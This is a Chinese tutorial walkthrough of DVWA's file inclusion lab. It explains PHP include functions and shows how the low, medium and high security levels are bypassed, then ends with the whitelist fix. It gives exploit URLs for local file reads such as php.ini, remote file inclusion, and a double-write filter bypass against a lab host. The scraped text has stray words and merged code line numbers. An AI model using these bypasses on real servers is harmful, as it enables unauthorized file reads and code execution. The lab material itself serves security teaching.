1、漏洞概述php
File Inclusion(文件包含漏洞)是指服務端將包含的文件設置爲變量,利用URL動態調用。若沒有對包含文件進行有效的過濾,就會致使惡意文件或代碼被調用執行,形成文件包含漏洞。服務器
PHP文件包含的四個函數:函數
include():包含文件錯誤時返回一條警告,代碼繼續向下執行。經常使用於動態包含。工具
require():包含文件錯誤時產生致命錯誤,代碼中止執行。一般用於重要文件包含。測試
include_once():與include()功能相同,區別是若是文件已經被包含過則再也不包含。ui
require_once():與require()功能相同,區別是若是文件已經被包含過則再也不包含。url
2、工具spa
firefox.net
3、測試過程firefox
一、級別:low
貼上代碼:
1 <?php 2 3 // The page we wish to display 4 $file = $_GET[ 'page' ]; 5 6 ?> 7
說明程序直接讀取page參數,使用include進行文件包含。
咱們先改變page參數,編寫一個不存在的文件:
發現報錯,顯示沒有這個文件,同時也暴露了服務器的絕對路徑。
咱們利用絕對路徑讀取本地文件,構造url:
http://192.168.2.121/dvwa/vulnerabilities/fi/?page=F:\phpStudy\PHPTutorial\WWW\dvwa\php.ini
成功讀取到文件內容。
能夠發現服務器的配置文件中的allow_url_fopen = on 和allow_url_include = on,說明服務器容許包含遠程服務器上的文件。
建立一個文件:
啓動遠程服務器:
構造url:http://192.168.2.121/dvwa/vulnerabilities/fi/page=http://localhost:8000/Desktop/test.php
二、級別:Medium
貼上代碼:
1 <?php 2 3 // The page we wish to display 4 $file = $_GET[ 'page' ]; 5 6 // Input validation 7 $file = str_replace( array( "http://", "https://" ), "", $file ); 8 $file = str_replace( array( "../", "..\"" ), "", $file ); 9 10 ?> 11
能夠看出相比low級別增長了str_replace函數,對page參數中的字符串進行了處理,但並不能進行有效的阻止,本地文件包含時使用絕對路徑依然沒有任何影響;遠程文件包含時咱們可使用雙寫繞過這個替換規則,例如:hthttp://tp://,中間的http://被替換後依然保留了一個http://。
所以可構造url:
http://192.168.2.121/dvwa/vulnerabilities/fi/page=hthttp://tp://localhost:8000/Desktop/test.php
三、級別:High
貼上代碼:
1 1、漏洞概述 2 <?php 3 4 // The page we wish to display 5 $file = $_GET[ 'page' ]; 6 7 // Input validation 8 if( !fnmatch( "file*", $file ) && $file != "include.php" ) { 9 // This isn't the page we want! 10 echo "ERROR: File not found!"; 11 exit; 12 } 13 14 ?> 15
從代碼能夠讀出High級別使用了fnmatch函數檢查page參數,只有 include.php 以及 file 開頭的文件纔會被包含。
所以,咱們依然能夠利用file協議繞過,進行本地文件包含:
http://192.168.2.121/dvwa/vulnerabilities/fi/?page=file:///F:/phpStudy/PHPTutorial/WWW/dvwa/php.ini
可是要執行任意命令則須要配合文件上傳漏洞進行組合利用。
4.級別:Impossible
貼上代碼:
1 <?php 2 3 // The page we wish to display 4 $file = $_GET[ 'page' ]; 5 6 // Only allow include.php or file{1..3}.php 7 if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { 8 // This isn't the page we want! 9 echo "ERROR: File not found!"; 10 exit; 11 } 12 13 ?>
觀察代碼,發現impossible級別的代碼採用白名單機制,page參數只能時白名單中的幾個文件名之一,杜絕了文件包含漏洞。